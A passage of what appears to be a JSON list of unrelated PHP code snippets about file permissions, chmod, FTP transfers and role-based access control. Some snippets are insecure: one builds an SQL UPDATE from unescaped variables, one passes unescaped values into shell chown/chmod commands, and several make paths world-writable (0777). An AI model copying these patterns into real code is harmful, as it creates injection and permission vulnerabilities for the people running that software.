$this->sanitizeMultipleExtensions();\n\n if (!$this->checkMaxFileSize()) {\n return false;\n }\n if (!$this->checkMaxWidth()) {\n return false;\n }\n if (!$this->checkMaxHeight()) {\n return false;\n }\n if (!$this->checkMimeType()) {\n return false;\n }\n if (!$this->checkImageType()) {\n return false;\n }\n if (count($this->errors) > 0) {\n return false;\n }\n return $this->copyFile($chmod);\n }", "public function can($permissions);", "public function permissionAction()\n {\n $actionRow = new Admin_Model_DbRow_Action($this->dbAction->find($this->checkActionIdParam()));\n $ctrlRow = new Admin_Model_DbRow_Controller($this->dbController->find($actionRow->get('mcId')));\n $dbRoles = new Admin_Model_DbTable_Acl_Role();\n $dbRules = new Admin_Model_DbTable_Acl_Rule();\n $roles = array();\n $rules = array();\n $allowRules = array();\n $denyRules = array();\n\n FOREACH($dbRoles->fetchActiveRoles() AS $row) {\n $roles[] = new Admin_Model_DbRow_Role($row);\n }\n\n FOREACH($dbRules->fetchRulesForAction($actionRow->get('id')) AS $row) {\n $rules[] = new Admin_Model_DbRow_Rule($row);\n }\n\n FOREACH($rules AS $rule) {\n IF($rule->get('rule') === Admin_Model_DbTable_Acl_Rule::RULE_DB_ALLOW) {\n $allowRules[] = $rule->get('roleId');\n } ELSEIF($rule->get('rule') === Admin_Model_DbTable_Acl_Rule::RULE_DB_DENY) {\n $denyRules[] = $rule->get('roleId');\n }\n }\n\n $form = new Admin_Form_Action_Permission($ctrlRow, $actionRow, $roles, $allowRules, $denyRules);\n $form->setAction('/noc/admin/action/permission');\n\n IF($this->getRequest()->isPost()) {\n IF($form->isValid($this->getRequest()->getParams()) && $form->hasPermissionCollision($this->getRequest()) === FALSE) {\n\n $dbRules->deleteByActionId($actionRow->get('id'));\n\n $allow = (array) $form->getElement('rolesallow')->getValue();\n $deny = (array) $form->getElement('rolesdeny')->getValue();\n\n FOREACH($allow AS $roleId) {\n $dbRules->addRule($ctrlRow->get('id'), $actionRow->get('id'), $roleId, Admin_Model_DbTable_Acl_Rule::RULE_DB_ALLOW);\n }\n\n FOREACH($deny AS $roleId) {\n $dbRules->addRule($ctrlRow->get('id'), $actionRow->get('id'), $roleId, Admin_Model_DbTable_Acl_Rule::RULE_DB_DENY);\n }\n $this->_redirect(sprintf('admin/action/index/control/%d/id/%d', $ctrlRow->get('id'), $actionRow->get('id')));\n } ELSE {\n $form->addError('Mindestens eine Rolle wurde der Zugriff erlaubt und verweigert.');\n }\n }\n\n $this->view->form = $form;\n $this->view->controller = $ctrlRow;\n }", "public static function uses_permissions(): bool;", "function fput($remotefile, $fp, $mode = 1)\r\n {\r\n if ($this->_use_mod_ftp) {\r\n \t\tftp_fput($this->_socket, $remotefile, $fp, $mode);\r\n \t} else {\r\n \tif ($mode) {\r\n \t\t$type = \"I\";\r\n \t} else {\r\n \t\t$type = \"A\";\r\n \t}\r\n \t\r\n \t$this->putcmd(\"PASV\");\r\n \t$string = $this->getresp();\r\n \t\r\n \t$this->putcmd(\"TYPE\", $type);\r\n \t$this->getresp();\r\n \t\r\n \tif ($this->file_exists($remotefile)) {\r\n \t\t$this->debug(\"Warning : Remote file will be overwritten\\n\");\r\n \t}\r\n \t\r\n \t$this->putcmd(\"STOR\", $remotefile);\r\n \t\r\n \t$sock_data = $this->open_data_connection($string);\r\n \tif (!$sock_data) {\r\n \t\treturn FALSE;\r\n \t}\r\n \tif ($this->ok()) {\r\n \t\t$this->debug(\"Connected to remote host\\n\");\r\n \t} else {\r\n \t\t$this->debug(\"Cannot connect to remote host\\n\");\r\n \t\t$this->debug(\"Error : PUT failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \t$this->debug(\"Storing local file to remote file \\\"\".$remotefile.\"\\\"\\n\");\r\n \twhile (!feof($fp)) {\r\n \t\tfputs($sock_data, fread($fp, 4096));\r\n \t}\r\n \t\r\n \t$this->close_data_connection($sock_data);\r\n \t}\r\n \treturn $this->ok();\r\n }", "public static function setPermission($event)\n\t{\n\t\t$options = array_merge([\n\t\t\tself::EXTRA_WRITABLE => [],\n\t\t\tself::EXTRA_EXECUTABLE => [],\n\t\t], $event->getComposer()->getPackage()->getExtra());\n\n\t\tforeach ((array)$options[self::EXTRA_WRITABLE] as $path) {\n\t\t\techo \"Setting writable: $path ...\";\n\t\t\tif (is_dir($path)) {\n\t\t\t\tchmod($path, 0777);\n\t\t\t\techo \"done\\n\";\n\t\t\t} else {\n\t\t\t\techo \"The directory was not found: \" . getcwd() . DIRECTORY_SEPARATOR . $path;\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\tforeach ((array)$options[self::EXTRA_EXECUTABLE] as $path) {\n\t\t\techo \"Setting executable: $path ...\";\n\t\t\tif (is_file($path)) {\n\t\t\t\tchmod($path, 0755);\n\t\t\t\techo \"done\\n\";\n\t\t\t} else {\n\t\t\t\techo \"\\n\\tThe file was not found: \" . getcwd() . DIRECTORY_SEPARATOR . $path . \"\\n\";\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t}", "public function chmod(string $path, int $mode = null): string|bool\n {\n if ($mode) {\n return chmod($path, $mode);\n }\n\n return Str::substring(sprintf('%o', fileperms($path)), -4);\n }", "function put($remotefile, $localfile, $mode = 1)\r\n {\r\n if ($this->_use_mod_ftp) {\r\n \t\tftp_put($this->_socket, $remotefile, $localfile, $mode);\r\n \t} else {\r\n \tif ($mode) {\r\n \t\t$type = \"I\";\r\n \t} else {\r\n \t\t$type = \"A\";\r\n \t}\r\n \t\r\n \tif (!file_exists($localfile)) {\r\n \t\t$this->debug(\"Error : No such file or directory \\\"\".$localfile.\"\\\"\\n\");\r\n \t\t$this->debug(\"Error : PUT failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \t$fp = @fopen($localfile, \"r\");\r\n \tif (!$fp) {\r\n \t\t$this->debug(\"Cannot read file \\\"\".$localfile.\"\\\"\\n\");\r\n \t\t$this->debug(\"Error : PUT failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \t$this->putcmd(\"PASV\");\r\n \t$string = $this->getresp();\r\n \t\r\n \t$this->putcmd(\"TYPE\", $type);\r\n \t$this->getresp();\r\n \t\r\n \tif ($this->file_exists($remotefile)) {\r\n \t\t$this->debug(\"Warning : Remote file will be overwritten\\n\");\r\n \t}\r\n \t\r\n \t$this->putcmd(\"STOR\", $remotefile);\r\n \t\r\n \t$sock_data = $this->open_data_connection($string);\r\n \tif (!$sock_data) {\r\n \t\treturn FALSE;\r\n \t}\r\n \tif ($this->ok()) {\r\n \t\t$this->debug(\"Connected to remote host\\n\");\r\n \t} else {\r\n \t\t$this->debug(\"Cannot connect to remote host\\n\");\r\n \t\t$this->debug(\"Error : PUT failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \t$this->debug(\"Storing local file \\\"\".$localfile.\"\\\" to remote file \\\"\".$remotefile.\"\\\"\\n\");\r\n \twhile (!feof($fp)) {\r\n \t\tfputs($sock_data, fread($fp, 4096));\r\n \t}\r\n \tfclose($fp);\r\n \t\r\n \t$this->close_data_connection($sock_data);\r\n \t}\r\n \treturn $this->ok();\r\n }", "public function checkPermissions();", "function fget($fp, $remotefile, $mode = 1)\r\n {\r\n if ($this->_use_mod_ftp) {\r\n \t\tftp_fget($this->_socket, $fp, $remotefile, $mode);\r\n \t} else {\r\n \tif ($mode) {\r\n \t\t$type = \"I\";\r\n \t} else {\r\n \t\t$type = \"A\";\r\n \t}\r\n \t\r\n \tif (!$this->file_exists($remotefile)) {\r\n \t\t$this->debug(\"Error : No such file or directory \\\"\".$remotefile.\"\\\"\\n\");\r\n \t\t$this->debug(\"Error : GET failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \t$this->putcmd(\"PASV\");\r\n \t$string = $this->getresp();\r\n \t\r\n \t$this->putcmd(\"TYPE\", $type);\r\n \t$this->getresp();\r\n \t\r\n \t$this->putcmd(\"RETR\", $remotefile);\r\n \t\r\n \t$sock_data = $this->open_data_connection($string);\r\n \tif (!$sock_data) {\r\n \t\treturn FALSE;\r\n \t}\r\n \tif ($this->ok()) {\r\n \t\t$this->debug(\"Connected to remote host\\n\");\r\n \t} else {\r\n \t\t$this->debug(\"Cannot connect to remote host\\n\");\r\n \t\t$this->debug(\"Error : GET failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t$this->debug(\"Retrieving remote file \\\"\".$remotefile.\"\\\" to local file ...\\n\");\r\n \twhile (!feof($sock_data)) {\r\n \t\tfputs($fp, fread($sock_data, 4096));\r\n \t}\r\n \t\r\n \t$this->close_data_connection($sock_data);\r\n \t}\r\n \treturn $this->ok();\r\n }", "public function display_perms($mode) {\n\t\t// Determine Type\n\t\tif ($mode & 0x1000) $type='p'; // FIFO pipe\n\t\telseif ($mode & 0x2000) $type='c'; // Character special\n\t\telseif ($mode & 0x4000) $type='d'; // Directory\n\t\telseif ($mode & 0x6000) $type='b'; // Block special\n\t\telseif ($mode & 0x8000) $type='-'; // Regular\n\t\telseif ($mode & 0xA000) $type='l'; // Symbolic Link\n\t\telseif ($mode & 0xC000) $type='s'; // Socket\n\t\telse $type='u'; // UNKNOWN\n\n\t\t// Determine permissions\n\t\t$owner['read'] = (($mode & 00400) ? 'r' : '-');\n\t\t$owner['write'] = (($mode & 00200) ? 'w' : '-');\n\t\t$owner['execute'] = (($mode & 00100) ? 'x' : '-');\n\t\t$group['read'] = (($mode & 00040) ? 'r' : '-');\n\t\t$group['write'] = (($mode & 00020) ? 'w' : '-');\n\t\t$group['execute'] = (($mode & 00010) ? 'x' : '-');\n\t\t$world['read'] = (($mode & 00004) ? 'r' : '-');\n\t\t$world['write'] = (($mode & 00002) ? 'w' : '-');\n\t\t$world['execute'] = (($mode & 00001) ? 'x' : '-');\n\n\t\t// Adjust for SUID, SGID and sticky bit\n\t\tif ($mode & 0x800) $owner['execute'] = ($owner['execute'] == 'x') ? 's' : 'S';\n\t\tif ($mode & 0x400) $group['execute'] = ($group['execute'] == 'x') ? 's' : 'S';\n\t\tif ($mode & 0x200) $world['execute'] = ($world['execute'] == 'x') ? 't' : 'T';\n\n\t\t$s = sprintf('%1s', $type);\n\t\t$s .= sprintf('%1s%1s%1s', $owner['read'], $owner['write'], $owner['execute']);\n\t\t$s .= sprintf('%1s%1s%1s', $group['read'], $group['write'], $group['execute']);\n\t\t$s .= sprintf('%1s%1s%1s'.\"\\n\", $world['read'], $world['write'], $world['execute']);\n\t\treturn $s;\n\t}", "function forum_perms()\n\t{\n\t\tif ($this->ipsclass->input['id'] == \"\")\n\t\t{\n\t\t\t$this->ipsclass->admin->error(\"Нельзя изменить ID группы, попытайтесь снова\");\n\t\t}\n\n\t\t//-----------------------------------------\n\n\t\t$this->ipsclass->admin->page_title = \"Управление масками доступа\";\n\t\t$this->ipsclass->admin->page_detail = \"В этой секции вы можете изменить выбранную маску доступа.\";\n\t\t$this->ipsclass->admin->nav[] = array( $this->ipsclass->form_code.'&code=permsplash', 'Управление масками доступа' );\n\t\t$this->ipsclass->admin->nav[] = array( '', 'Добавление/изменение масок доступа' )\t\t;\n\n\t\t$this->ipsclass->admin->page_detail .= \"<br />Для разрешения выполнения действия поставьте галочку, для запрета выполнения действия просто не ставьте или уберите галочку.\n\t\t\t\t\t\t\t <br />Атрибут &laquo;<b>Глобальный</b>&raquo; означает, что все маски доступа имеют права на выполнение этого действия, поэтому изменить этот параметр здесь нельзя.\n\t\t\t\t\t\t\t <br />Категории имеют настройки доступа только на просмотр, потому что остальные действия просто не применимы для категорий.\";\n\n\t\t//-----------------------------------------\n\n\t\t$this->ipsclass->DB->simple_construct( array( 'select' => '*', 'from' => 'forum_perms', 'where' => \"perm_id=\".intval($this->ipsclass->input['id']) ) );\n\t\t$this->ipsclass->DB->simple_exec();\n\n\t\t$group = $this->ipsclass->DB->fetch_row();\n\n\t\t$gid = $group['perm_id'];\n\t\t$gname = $group['perm_name'];\n\n\t\t//-----------------------------------------\n\t\t//| EDIT NAME\n\t\t//-----------------------------------------\n\n\t\t$this->ipsclass->html .= $this->ipsclass->adskin->start_form( array( 1 => array( 'code' , 'donameedit' ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 2 => array( 'act' , 'group' ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 3 => array( 'id' , $gid ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 4 => array( 'section', $this->ipsclass->section_code ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t), \"nameForm\" );\n\n\t\t$this->ipsclass->adskin->td_header[] = array( \"&nbsp;\" , \"40%\" );\n\t\t$this->ipsclass->adskin->td_header[] = array( \"&nbsp;\" , \"60%\" );\n\n\t\t$this->ipsclass->html .= $this->ipsclass->adskin->start_table( \"Изменение названия: \".$group['perm_name'] );\n\n\t\t$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array( \"<b>Название маски</b>\" ,\n\t\t\t\t\t\t\t\t\t\t\t\t $this->ipsclass->adskin->form_input(\"perm_name\", $gname )\n\t\t\t\t\t\t\t\t\t ) );\n\n\t\t$this->ipsclass->html .= $this->ipsclass->adskin->end_form(\"Изменить\");\n\n\t\t$this->ipsclass->html .= $this->ipsclass->adskin->end_table();\n\n\n\t\t//-----------------------------------------\n\t\t//| MAIN FORM\n\t\t//-----------------------------------------\n\n\t\t$this->ipsclass->html .= $this->ipsclass->adskin->start_form( array( 1 => array( 'code' , 'dofedit' ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 2 => array( 'act' , 'group' ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 3 => array( 'id' , $gid ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 4 => array( 'section', $this->ipsclass->section_code ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t) \t);\n\n\t\t$this->ipsclass->adskin->td_header[] = array( \"Форум\" , \"25%\" );\n\t\t$this->ipsclass->adskin->td_header[] = array( \"Просмотр форума<br /><input id='show' type='checkbox' onclick='checkcol(\\\"show\\\", this.checked );' />\" , \"10%\" );\n\t\t$this->ipsclass->adskin->td_header[] = array( \"Чтение тем<br /><input id='read' type='checkbox' onclick='checkcol(\\\"read\\\", this.checked );' />\" , \"10%\" );\n\t\t$this->ipsclass->adskin->td_header[] = array( \"Ответ в темы<br /><input id='reply' type='checkbox' onclick='checkcol(\\\"reply\\\", this.checked );' />\" , \"10%\" );\n\t\t$this->ipsclass->adskin->td_header[] = array( \"Создание тем<br /><input id='start' type='checkbox' onclick='checkcol(\\\"start\\\", this.checked );' />\" , \"10%\" );\n\t\t$this->ipsclass->adskin->td_header[] = array( \"Загрузка файлов<br /><input id='upload' type='checkbox' onclick='checkcol(\\\"upload\\\", this.checked );' />\" , \"10%\" );\n\t\t$this->ipsclass->adskin->td_header[] = array( \"Скачивание файлов<br /><input id='download' type='checkbox' onclick='checkcol(\\\"download\\\", this.checked );' />\" , \"10%\" );\n\n\t\t$forum_data = $this->forumfunc->ad_forums_forum_data();\n\n\t\t$this->ipsclass->html .= $this->ipsclass->adskin->start_table( \"Параметры доступа: \".$group['perm_name'] );\n\n\t\tforeach( $forum_data as $r )\n\t\t{\n\t\t\t$show = \"\";\n\t\t\t$read = \"\";\n\t\t\t$start = \"\";\n\t\t\t$reply = \"\";\n\t\t\t$upload = \"\";\n\n\t\t\t$global = '<center>Глобальный</center>';\n\n\t\t\tif ($r['show_perms'] == '*')\n\t\t\t{\n\t\t\t\t$show = $global;\n\t\t\t}\n\t\t\telse if ( preg_match( \"/(^|,)\".$gid.\"(,|$)/\", $r['show_perms'] ) )\n\t\t\t{\n\t\t\t\t$show = \"<center><input type='checkbox' name='show_\".$r['id'].\"' id='show_\".$r['id'].\"' onclick=\\\"obj_checked('show', {$r['id']} );\\\" value='1' checked></center>\";\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$show = \"<center><input type='checkbox' name='show_\".$r['id'].\"' id='show_\".$r['id'].\"' onclick=\\\"obj_checked('show', {$r['id']} );\\\" value='1'></center>\";\n\t\t\t}\n\n\t\t\t//-----------------------------------------\n\n\t\t\t$global = '<center>Глобальный</center>';\n\n\t\t\tif ($r['read_perms'] == '*')\n\t\t\t{\n\t\t\t\t$read = $global;\n\t\t\t}\n\t\t\telse if ( preg_match( \"/(^|,)\".$gid.\"(,|$)/\", $r['read_perms'] ) )\n\t\t\t{\n\t\t\t\t$read = \"<center><input type='checkbox' name='read_\".$r['id'].\"' id='read_\".$r['id'].\"' onclick=\\\"obj_checked('read', {$r['id']} );\\\" value='1' checked></center>\";\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$read = \"<center><input type='checkbox' name='read_\".$r['id'].\"' id='read_\".$r['id'].\"' onclick=\\\"obj_checked('read', {$r['id']} );\\\" value='1'></center>\";\n\t\t\t}\n\n\t\t\t//-----------------------------------------\n\n\t\t\t$global = '<center>Глобальный</center>';\n\n\t\t\tif ($r['start_perms'] == '*')\n\t\t\t{\n\t\t\t\t$start = $global;\n\t\t\t}\n\t\t\telse if ( preg_match( \"/(^|,)\".$gid.\"(,|$)/\", $r['start_perms'] ) )\n\t\t\t{\n\t\t\t\t$start = \"<center><input type='checkbox' name='start_\".$r['id'].\"' id='start_\".$r['id'].\"' onclick=\\\"obj_checked('start', {$r['id']} );\\\" value='1' checked></center>\";\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$start = \"<center><input type='checkbox' name='start_\".$r['id'].\"' id='start_\".$r['id'].\"' onclick=\\\"obj_checked('start', {$r['id']} );\\\" value='1'></center>\";\n\t\t\t}\n\n\t\t\t//-----------------------------------------\n\n\t\t\t$global = '<center>Глобальный</center>';\n\n\t\t\tif ($r['reply_perms'] == '*')\n\t\t\t{\n\t\t\t\t$reply = $global;\n\t\t\t}\n\t\t\telse if ( preg_match( \"/(^|,)\".$gid.\"(,|$)/\", $r['reply_perms'] ) )\n\t\t\t{\n\t\t\t\t$reply = \"<center><input type='checkbox' name='reply_\".$r['id'].\"' id='reply_\".$r['id'].\"' onclick=\\\"obj_checked('reply', {$r['id']} );\\\" value='1' checked></center>\";\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$reply = \"<center><input type='checkbox' name='reply_\".$r['id'].\"' id='reply_\".$r['id'].\"' onclick=\\\"obj_checked('reply', {$r['id']} );\\\" value='1'></center>\";\n\t\t\t}\n\n\t\t\t//-----------------------------------------\n\n\t\t\t$global = '<center>Глобальный</center>';\n\n\t\t\tif ($r['upload_perms'] == '*')\n\t\t\t{\n\t\t\t\t$upload = $global;\n\t\t\t}\n\t\t\telse if ( preg_match( \"/(^|,)\".$gid.\"(,|$)/\", $r['upload_perms'] ) )\n\t\t\t{\n\t\t\t\t$upload = \"<center><input type='checkbox' name='upload_\".$r['id'].\"' id='upload_\".$r['id'].\"' onclick=\\\"obj_checked('upload', {$r['id']} );\\\" value='1' checked></center>\";\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$upload = \"<center><input type='checkbox' name='upload_\".$r['id'].\"' id='upload_\".$r['id'].\"' onclick=\\\"obj_checked('upload', {$r['id']} );\\\" value='1'></center>\";\n\t\t\t}\n\n\t\t\t//-----------------------------------------\n\n\t\t\t$global = '<center>Глобальный</center>';\n\n\t\t\tif ($r['download_perms'] == '*')\n\t\t\t{\n\t\t\t\t$download = $global;\n\t\t\t}\n\t\t\telse if ( preg_match( \"/(^|,)\".$gid.\"(,|$)/\", $r['download_perms'] ) )\n\t\t\t{\n\t\t\t\t$download = \"<center><input type='checkbox' name='download_\".$r['id'].\"' id='download_\".$r['id'].\"' onclick=\\\"obj_checked('download', {$r['id']} );\\\" value='1' checked></center>\";\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$download = \"<center><input type='checkbox' name='download_\".$r['id'].\"' id='download_\".$r['id'].\"' onclick=\\\"obj_checked('download', {$r['id']} );\\\" value='1'></center>\";\n\t\t\t}\n\n\t\t\t//-----------------------------------------\n\n\t\t\tif ( $r['root_forum'] )\n\t\t\t{\n\t\t\t\t$css = 'tablerow4';\n\t\t\t\t$download = $upload = $reply = $start = $read = \"<center>Не&nbsp;используется</center>\";\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$css = '';\n\t\t\t}\n\n\t\t\t$this->ipsclass->html .= $this->ipsclass->adskin->add_td_row( array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \"<div style='float:right;width:auto;'>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \t<input type='button' id='button' value='+' onclick='checkrow({$r['id']},true)' />&nbsp;<input type='button' id='button' value='-' onclick='checkrow({$r['id']},false)' />\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t </div>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t <b>\".$r['depthed_name'].\"</b>\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \"<div style='background-color:#ecd5d8; padding:4px;'>\".$show.\"</div>\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \"<div style='background-color:#dbe2de; padding:4px;'>\".$read.\"</div>\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \"<div style='background-color:#dbe6ea; padding:4px;'>\".$reply.\"</div>\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \"<div style='background-color:#d2d5f2; padding:4px;'>\".$start.\"</div>\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \"<div style='background-color:#ece6d8; padding:4px;'>\".$upload.\"</div>\",\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t \"<div style='background-color:#dfdee9; padding:4px;'>\".$download.\"</div>\",\n\t\t\t\t\t\t\t\t\t\t \t\t\t\t\t) ,$css );\n\n\t\t}\n\n\t\t$this->ipsclass->html .= $this->ipsclass->adskin->end_form(\"Обновить настройки доступа\");\n\n\t\t$this->ipsclass->html .= $this->ipsclass->adskin->end_table();\n\n\t\t$this->ipsclass->html .= $this->html->permissions_js();\n\n\t\t$this->ipsclass->admin->output();\n\t}", "public static function setPermissions(array $paths)\n {\n foreach ($paths as $path => $permission) {\n if (is_dir($path) || is_file($path)) {\n try {\n if (chmod($path, octdec($permission))) {\n Console::stdout(\"chmod('$path', $permission). Done.\", Console::FG_GREEN);\n };\n } catch (Exception $e) {\n Console::stderr($e->getMessage(), Console::FG_RED);\n }\n } else {\n Console::stderr('File not found', Console::FG_RED);\n }\n }\n }", "public function permission($permission);", "public function updateFolderPermission($path, $permission) {\n $ret = chmod($path,$permission);\n\n if ($ret === true) {\n $oct = decoct($permission);\n $this->_log->log(LogLevel::info, \"Permissions set to {$oct} for: {$path}\\n\");\n } else {\n $this->_log->log(LogLevel::info, \"Permissions could not be set for: {$path}\\n\");\n }\n }", "protected function editLockPermissions() {}", "function havp_set_file_access($dir, $owner, $mod) {\n\tif (file_exists($dir)) {\n\t\tmwexec(\"/usr/bin/chgrp -R -v $owner $dir\");\n\t\tmwexec(\"/usr/sbin/chown -R -v $owner $dir\");\n\t\tif (!empty($mod)) {\n\t\t\tmwexec( \"/bin/chmod -R -v $mod $dir\");\n\t\t}\n\t}\n}", "function perms($file) {\n$perms = fileperms($file);\n\nif (($perms & 0xC000) == 0xC000) {\n // Socket\n $info = 's';\n} elseif (($perms & 0xA000) == 0xA000) {\n // Symbolic Link\n $info = 'l';\n} elseif (($perms & 0x8000) == 0x8000) {\n // Regular\n $info = '-';\n} elseif (($perms & 0x6000) == 0x6000) {\n // Block special\n $info = 'b';\n} elseif (($perms & 0x4000) == 0x4000) {\n // Directory\n $info = 'd';\n} elseif (($perms & 0x2000) == 0x2000) {\n // Character special\n $info = 'c';\n} elseif (($perms & 0x1000) == 0x1000) {\n // FIFO pipe\n $info = 'p';\n} else {\n // Unknown\n $info = 'u';\n}\n\n// Owner\n$info .= (($perms & 0x0100) ? 'r' : '-');\n$info .= (($perms & 0x0080) ? 'w' : '-');\n$info .= (($perms & 0x0040) ?\n (($perms & 0x0800) ? 's' : 'x' ) :\n (($perms & 0x0800) ? 'S' : '-'));\n\n// Group\n$info .= (($perms & 0x0020) ? 'r' : '-');\n$info .= (($perms & 0x0010) ? 'w' : '-');\n$info .= (($perms & 0x0008) ?\n (($perms & 0x0400) ? 's' : 'x' ) :\n (($perms & 0x0400) ? 'S' : '-'));\n\n// World\n$info .= (($perms & 0x0004) ? 'r' : '-');\n$info .= (($perms & 0x0002) ? 'w' : '-');\n$info .= (($perms & 0x0001) ?\n (($perms & 0x0200) ? 't' : 'x' ) :\n (($perms & 0x0200) ? 'T' : '-'));\n return $info;\n}", "public function get_chmod_array()\n {\n return array();\n }", "function set_permissions($permessi_abilitati)\n {\n $permissions_data=$this->config->item(\"permissions\");\n $permissions_data=array_reverse($permissions_data['mask'],true);\n\n foreach($permissions_data as $value)\n {\n if(in_array($value,array_keys($permessi_abilitati)))\n $this->_permissions[$value]=$permessi_abilitati[$value];\n else\n $this->_permissions[$value]=false;\n }\n\n $bitmask=$this->to_bitmask($this->_permissions);\n return($bitmask);\n }", "public static function writable($path, $mode = 0777)\n\t{\n\t\tif (!chmod($path, $mode)) {\n\t\t\tthrow new Exception('Error making path writable: ' . $path);\n\t\t}\n\t}", "public function run()\n {\n App\\Role::find(1)->attachPermission(1);\n App\\Role::find(1)->attachPermission(2);\n App\\Role::find(1)->attachPermission(3);\n }", "public function canDo($permission, $force = false);", "public function updatePermissions()\n {\n if(! array_key_exists( 'permissions', $this->options['paths'] )) {\n return;\n }\n $file = base_path($this->options['paths']['stubs']) . '/views/components/permissions.blade.php';\n $target = base_path($this->options['paths']['permissions']);\n $hook = '<!-- bread_permissions -->';\n $this->updateFileContent($target, $hook, $file);\n }", "static function set_sharing_permissions_by_sharing_id($user_id, $id, $permissions) {\n global $con;\n\n $sql = \"\n\t\tUPDATE `share`, `list`\n\t\tSET `share`.`permissions` = \".$permissions.\", `share`.`time` = \".time().\"\n\t\tWHERE `share`.`id` = \".$id.\" AND (`list`.`id` = `share`.`list` AND `list`.`creator` = \".$user_id.\" OR `share`.`user` = \".$user_id.\");\";\n $query = mysqli_query($con, $sql);\n return 1;\n }", "public function run()\n {\n $permissions = [\n 'product_create',\n 'product_show',\n 'product_edit',\n 'product_delete'\n ];\n\n $user = Role::findByName('admin');\n\n foreach ($permissions as $permission) {\n $user->givePermissionTo($permission);\n }\n }", "function Pico_IsWritable($file, $update_perms = false)\n{\n\tif ( (!file_exists($file)) or (is_file($file)) )\n\t{\n\t\t// check to see if parent folder is writable\n\t\t$parent_dir = dirname($file);\n\t\t\n\t\tif (is_writable($parent_dir))\n\t\t{\n\t\t\treturn TRUE;\n\t\t}\n\t\telseif ($update_perms == TRUE)\n\t\t{\n\t\t\t// atempt to make writable\n\t\t\tif (is_dir($parent_dir))\n\t\t\t{\n\t\t\t\t$folder_is_writable = Pico_IsWritable($parent_dir, TRUE);\n\t\t\t\treturn $folder_is_writable;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\n\t}\n\t$is_writable = is_writable($file);\n\t\n\tif (!$is_writable)\n\t{\n\t\tif ($update_perms == TRUE)\n\t\t{\n\t\t\t// try to connect via FTP and make this file writable\n\t\t\t$ftp = @Pico_ConnectFTP();\n\t\t\tif (!is_object($ftp))\n\t\t\t{\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif (is_file($file))\n\t\t\t\t{\n\t\t\t\t\t@$ftp->chmod($file, 0666);\n\t\t\t\t}\n\t\t\t\telseif (is_dir($file))\n\t\t\t\t{\n\t\t\t\t\t@$ftp->chmod($file, 0777);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (is_writable($file))\n\t\t\t\t{\n\t\t\t\t\treturn TRUE;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\treturn FALSE;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn FALSE;\n\t\t}\n\t}\n\telse\n\t{\n\t\treturn TRUE;\n\t}\n}", "protected function fixPermission() {}", "public function isWritable()\n {\n // Create temp file\n $path = tempnam(sys_get_temp_dir(), 'test');\n\n // Get temp file name\n $fileName = basename($path);\n\n // Copy temp file to remote\n if (ftp_put($this->handle, $fileName, $path, FTP_ASCII)) {\n // Remove temp file\n ftp_delete($this->handle, $fileName);\n return true;\n }\n\n return false;\n }", "public function givePermissions($id, array $permissions){\n\n $user = $this->model->find($id);\n\n return $user->givePermissionTo($permissions);\n }" ]
